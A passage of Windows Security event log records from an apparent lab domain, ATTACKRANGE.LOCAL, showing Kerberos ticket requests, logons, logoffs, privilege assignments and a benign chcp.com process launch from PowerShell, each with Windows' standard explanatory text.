OpCode=Info
RecordNumber=251903
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251902
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251901
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1485B8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251900
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1485B8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251899
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1485B8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251898
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251897
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251896
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251895
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1481A7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251894
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146D78

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251893
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1481A7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251892
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1481A7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251891
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251890
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{FAC501BC-B388-8089-25B4-2DB68FD552EC}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251889
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251888
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c8
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfd0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251983
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14BA59

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251982
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14BA59
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64568

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251981
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14BA59

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251980
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14B9E8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251979
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14B9E8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64567

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251978
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14B9E8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251977
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14B982

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251976
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14B982
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64566

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251975
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14B982

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251974
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14B921

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251973
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x14B921
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64565

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251972
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14B921

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251971
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14B654

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251970
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
